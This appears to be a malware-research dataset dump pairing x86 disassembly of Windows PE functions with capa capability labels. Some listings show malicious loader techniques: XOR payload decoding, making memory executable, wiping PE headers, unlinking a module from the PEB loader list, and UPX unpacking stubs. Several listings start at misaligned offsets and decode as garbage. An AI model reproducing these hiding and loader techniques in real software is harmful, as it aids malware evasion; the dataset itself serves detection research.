joyce8/EMBER2024-capa huggingface dataset:
Function at 0x478a58
Capabilities:
Encode data using xor

Disassembly:
push es
xor byte [eax + 0x68], bh
sal dword [esi], 0x4b
add byte [ebp - 0x18], dl
push eax
xor eax, dword [ecx]
add byte [ebx - 0x3d76f73c], al
mov ecx, edx
dec edx
mov edi, edx
xor edi, 3
cmp byte [ebp + edi], 0x30
jl 0x478a9d
add byte [eax], dh
jne 0x478a69
or dword [esi], 4
jmp 0x478ae2
add dword [edi - 0x14], edi
add esi, 2
lea edx, [eax + 3]
test eax, eax
cmovns edx, eax
sar edx, 2
test ecx, ecx
inc ebx
cmp dword [edx], 0xdb3117de
mov edi, esi
mov eax, ebx
xor eax, 3
mov al, byte [ebp + eax]
mov byte [edi + ecx - 1], al
inc ebx
dec edi
cmp ecx, ebx
jne 0x478a85
add esi, ecx
lea ebp, [ebp + edx*4]
cmp byte [ebp], 0
je 0x478aa9
inc ebp
mov byte [esi], 0x2c
inc esi
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 4]
mov byte [esi], 0
test cl, 1
mov ecx, 0
jne 0x478a42

Function at 0x48895a
Capabilities:
Parse pe header

Disassembly:
enter 0xffffffffffffc985, 0x75
add esi, dword [edx]
rol bl, 0xb8
dec ebp
pop edx
add byte [eax], al
cmp word [ecx], ax
jne 0x48895f
xor al, al
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x48895f
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x48895f
cmp dword [eax + 0x74], 0xe
jbe 0x48895f
cmp dword [eax + 0xe8], 0
setne al
ret

Function at 0x4902e5
Capabilities:
Encode data using xor

Disassembly:
cmp al, 0xe8
add eax, dword [eax]
add byte [ebx + 0x70ff0845], cl
xor al, ch
call 0x8b490285
inc ebp
or bh, bh
jo 0x4902bb
call fcn.00490669
mov eax, dword [ebp + 8]
push dword [eax + 0x38]
call fcn.00490669
add byte [eax], al
mov eax, dword [ebp + 8]
push dword [eax + 0x28]
call fcn.00490669
mov eax, dword [ebp + 8]
push dword [eax + 0x2c]
jo 0x4902d4
call fcn.00490669
mov eax, dword [ebp + 8]
push dword [eax + 0x40]
call fcn.00490669
mov eax, dword [ebp + 8]
push dword [eax + 0x44]
call fcn.00490669
mov eax, dword [ebp + 8]
push dword [eax + 0x360]
call fcn.00490669
add esp, 0x24
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 1]
push 5
pop eax
mov dword [ebp + 0xe], eax
add al, 0xeb
js 0x490270
inc ebp
invalid
Function at 0x10001920
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x30]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x10001963
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x1000195c
mov esi, dword [eax + 0x20]
jmp 0x10001963
test bl, bl
jns 0x10001963
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x10001a30
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x30]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x100019b8
mov ecx, dword [ebx]
test cl, 0x40
je 0x100019b1
mov edi, dword [eax + 0x20]
jmp 0x100019b8
test cl, cl
jns 0x100019b8
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x100019e7
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x100019e7
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.10001870
test eax, eax
je 0x10001a50
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x10001a0f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x100019fe
test dword [ebp - 0x10], 0x2000000
je 0x100019fe
or dword [ebp - 0x10], eax
jmp 0x10001a09
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x10001990
lea ecx, [ebp - 0x1c]
mov edx, edi
mov dword [ebp - 0xc], 1
call fcn.10001870
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10003580
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014368
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1001b470]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x10003711
cmp byte [ebx + 0x49], 0
je 0x10003711
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x10003705
lea esi, [ebp - 0x2c]
call fcn.10003120
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x100035f3
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x1000362c
dec eax
je 0x10003630
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x1000370c
call fcn.10002020
xor al, al
jmp 0x10003713
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10003640
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x1000366d
cmp edi, 0x10
jae 0x1000364f
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.10006843
add esp, 0x10
cmp esi, eax
jne 0x100036fd
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x10003709
test esi, esi
jne 0x100035e7
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x1000372e
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x1000372e
cmp edi, esi
jae 0x100036e6
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.100039b0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x100035e7
mov ecx, eax
cmp edi, 0x10
jae 0x100036c2
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x100036dd
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x100035e1
test esi, esi
jne 0x100036b8
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x100036f5
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x100035e1
lea ecx, [ebp - 0x2c]
call fcn.10002020
xor al, al
jmp 0x10003713
lea ecx, [ebp - 0x2c]
call fcn.10002020
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005559
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.10004fd4
int3
Function at 0x10003880
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100142db
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1001b470]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10005128
push 4
mov dword [ebp - 4], 0
call fcn.10006a9c
mov edi, eax
add esp, 4
test edi, edi
je 0x100038fc
call fcn.10004f23
mov dword [edi], eax
call fcn.10004ce2
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.100050e9
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x100038f2
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.10005111
jmp 0x100038fe
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10003f80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
test edi, edi
je 0x10003fd9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov esi, dword [edi + 0x3c]
lea eax, [ebp - 4]
push eax
push 4
push 0x40
push edi
add esi, edi
call ebx
test eax, eax
je 0x10003fb1
push 0x40
push 0
push edi
call fcn.1000c0a0
add esp, 0xc
test esi, esi
je 0x10003fd7
lea ecx, [ebp - 4]
push ecx
push 4
push 0xf8
push esi
call ebx
test eax, eax
je 0x10003fd7
push 0xf8
push 0
push esi
call fcn.1000c0a0
add esp, 0xc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003fe0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
call edi
push 0x1000
push 0
push esi
call fcn.1000c0a0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
push 0
push ecx
push edx
push eax
call edi
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10004050
Capabilities:
Access peb ldr_data

Disassembly:
test edx, edx
je 0x100040bf
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x100040bf
push esi
cmp ecx, edx
jne 0x100040b5
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x10004077
mov esi, dword [eax]
mov dword [ecx], esi
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x10004083
mov esi, dword [eax]
mov dword [esi + 4], ecx
mov ecx, dword [eax + 0x14]
test ecx, ecx
je 0x1000408f
mov esi, dword [eax + 0x10]
mov dword [ecx], esi
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1000409c
mov esi, dword [eax + 0x14]
mov dword [ecx + 4], esi
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x100040a8
mov esi, dword [eax + 0xc]
mov dword [esi], ecx
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x100040b5
mov esi, dword [eax + 0xc]
mov dword [ecx + 4], esi
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10004068
pop esi
ret

Function at 0x10004360
Capabilities:
Check if file exists
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100145b0
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x1001b470]
xor eax, esp
mov dword [esp + 0x40], eax
push ebx
push esi
push edi
mov eax, dword [0x1001b470]
xor eax, esp
push eax
lea eax, [esp + 0x58]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100044b2
push 0xa
xor esi, esi
push str.wzgold.dll
lea ecx, [esp + 0x3c]
mov dword [esp + 0x50], 0xf
mov dword [esp + 0x4c], esi
mov byte [esp + 0x3c], 0
call fcn.100047a0
mov dword [esp + 0x60], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov ecx, str._6_4
sub ecx, 0x3d43ce1e
lea eax, [esp + 0x28]
mov byte [esp + 0x60], 1
call fcn.10004a30
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
sete cl
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x30], ax
mov byte [esp + 0x32], al
test cl, cl
je 0x10004425
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [esp + 0x34]
push eax
lea edi, [esp + 0x1c]
call fcn.100040c0
mov ebx, dword [esp + 0x1c]
add esp, 4
test al, al
je 0x10004464
mov ecx, dword [esp + 0x1c]
xor eax, eax
sub ecx, ebx
je 0x1000445d
jmp 0x10004450
xor byte [ebx + eax], 0x77
add byte [ebx + eax], 0x10
inc eax
cmp eax, ecx
jb 0x10004450
push ecx
push ebx
call fcn.10001d00
cmp dword [esp + 0x48], 0x10
mov eax, dword [esp + 0x34]
mov dword [esp + 0x44], esi
jae 0x10004477
lea eax, [esp + 0x34]
mov esi, dword [esp + 0x14]
mov edi, esi
mov byte [eax], 0
call fcn.10003f80
call fcn.10003fe0
mov edx, esi
call fcn.10004050
test ebx, ebx
je 0x1000449e
push ebx
call fcn.1000666c
add esp, 4
cmp dword [esp + 0x48], 0x10
jb 0x100044b2
mov ecx, dword [esp + 0x34]
push ecx
call fcn.1000666c
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.10005559
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10005559
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001b470]
jne 0x10005563
repz ret
jmp fcn.10008ed7

Function at 0x100119fe
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001b470]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100099fa
and dword [ebp - 0x14], 0
cmp dword [0x1001d1d0], 0
mov dword [ebp - 0x18], eax
jne 0x10011ab1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10011b59
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10011b59
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1001d1d0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1001d1d4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1001d1d8], eax
call edi
push eax
call esi
mov dword [0x1001d1e0], eax
test eax, eax
je 0x10011ab1
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1001d1dc], eax
mov eax, dword [0x1001d1dc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10011b0a
cmp dword [0x1001d1e0], ecx
je 0x10011b0a
push eax
call esi
push dword [0x1001d1e0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10011b0a
test ebx, ebx
je 0x10011b0a
call edi
test eax, eax
je 0x10011b01
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10011b01
test byte [ebp - 8], 1
jne 0x10011b0a
or dword [ebp + 0x10], 0x200000
jmp 0x10011b3d
mov eax, dword [0x1001d1d4]
cmp eax, dword [ebp - 0x18]
je 0x10011b3d
push eax
call esi
test eax, eax
je 0x10011b3d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10011b3d
mov eax, dword [0x1001d1d8]
cmp eax, dword [ebp - 0x18]
je 0x10011b3d
push eax
call esi
test eax, eax
je 0x10011b3d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1001d1d0]
call esi
test eax, eax
je 0x10011b59
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10011b5b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005559
leave
ret
Function at 0xe79940
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x800000]
push edi
or ebp, 0xffffffff
jmp 0xe79962
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xe79969
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe79958
mov eax, 1
add ebx, ebx
jne 0xe7997b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xe7998c
jne 0xe799ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe799ab
dec eax
add ebx, ebx
jne 0xe79998
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xe79970
add ebx, ebx
jne 0xe799a7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xe799fd
xor ecx, ecx
sub eax, 3
jb 0xe799c3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xe79a32
sar eax, 1
mov ebp, eax
jmp 0xe799ce
add ebx, ebx
jne 0xe799ce
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe7999c
inc ecx
add ebx, ebx
jne 0xe799dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe7999c
add ebx, ebx
jne 0xe799e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xe799de
jne 0xe799fa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xe799de
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xe79a1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xe79a0e
jmp 0xe7995e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xe79a1c
add edi, ecx
jmp 0xe7995e
pop esi
mov edi, esi
mov ecx, 0xd8f3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xe79a3a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xe79a3f
lea edi, [esi + 0xa76000]
mov eax, dword [edi]
or eax, eax
je 0xe79ab0
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa7c540]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa7c57c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xe79a65
mov ecx, edi
jns 0xe79a94
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa7c580]
or eax, eax
je 0xe79aaa
mov dword [ebx], eax
add ebx, 4
jmp 0xe79a82
call dword [esi + 0xa7c590]
mov ebp, dword [esi + 0xa7c584]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xe79ae4
sub esp, 0xffffff80
jmp 0x49a190
Function at 0x6d4c3a32
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x6d4c3a41
pop dword [ebp - 0x10]
mov eax, 0x6d4c3a41
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x39424
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x4d81
xor edx, edx
add edx, eax
mov esi, 0xfe35feeb
sub esi, 0x90e7d8eb
add esi, dword [ebp - 0x10]
mov ebx, 0x21406467
sub dword [ebp - 0xc], 0x3b4c7eb6
mov edi, dword [esi]
mov dword [ebp - 8], 0xdc3875c3
xor edi, ebx
sub dword [ebp - 4], 0xbe830989
mov dword [edx], edi
sub dword [ebp - 4], 0x8a735b20
add edx, 0x4f39a676
sub edx, 0x4f39a672
add esi, 4
loop 0x6d4c3a8c
add eax, 0x320bafcc
sub eax, 0x320a86f5
xor ebx, ebx
add ebx, eax
add eax, 0xa2e2efa1
add eax, 0x5d1d1064
mov ecx, 0x9568faed
add ecx, 0xd7e30513
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x6d4c64bc
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d4c650a
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d4c651b
push 0xd
pop eax
jmp 0x6d4c6545
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d4c651e
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d4c6ad6
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d4dc420]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d4c3a32
mov ebx, eax
cmp ebx, esi
je 0x6d4c6b49
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d4cf9b2
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d4c6b61
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d4c6ad6
cmp eax, esi
jne 0x6d4c6b93
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], pe_nt_image_headers32
call ebx
test eax, eax
je 0x6d4c6b51
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d4c63e5
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d4c4db9
mov eax, esi
jmp 0x6d4c6b2f
Function at 0xc160d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x385000]
push edi
or ebp, 0xffffffff
jmp 0xc160f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xc160f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc160e8
mov eax, 1
add ebx, ebx
jne 0xc1610b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xc1611c
jne 0xc1613b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc1613b
dec eax
add ebx, ebx
jne 0xc16128
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xc16100
add ebx, ebx
jne 0xc16137
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xc1618d
xor ecx, ecx
sub eax, 3
jb 0xc16153
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xc161c2
sar eax, 1
mov ebp, eax
jmp 0xc1615e
add ebx, ebx
jne 0xc1615e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc1612c
inc ecx
add ebx, ebx
jne 0xc1616c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc1612c
add ebx, ebx
jne 0xc16179
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xc1616e
jne 0xc1618a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xc1616e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xc161ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xc1619e
jmp 0xc160ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xc161ac
add edi, ecx
jmp 0xc160ee
pop esi
mov edi, esi
mov ecx, 0x7a4d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xc161ca
cmp byte [edi], 0x28
jne 0xc161ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xc161cf
lea edi, [esi + 0x813000]
mov eax, dword [edi]
or eax, eax
je 0xc16247
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x83dd38]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x83de98]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xc161fc
mov ecx, edi
jns 0xc1622b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x83dea0]
or eax, eax
je 0xc16241
mov dword [ebx], eax
add ebx, 4
jmp 0xc16219
call dword [esi + 0x83de9c]
mov ebp, dword [esi + 0x83dea4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
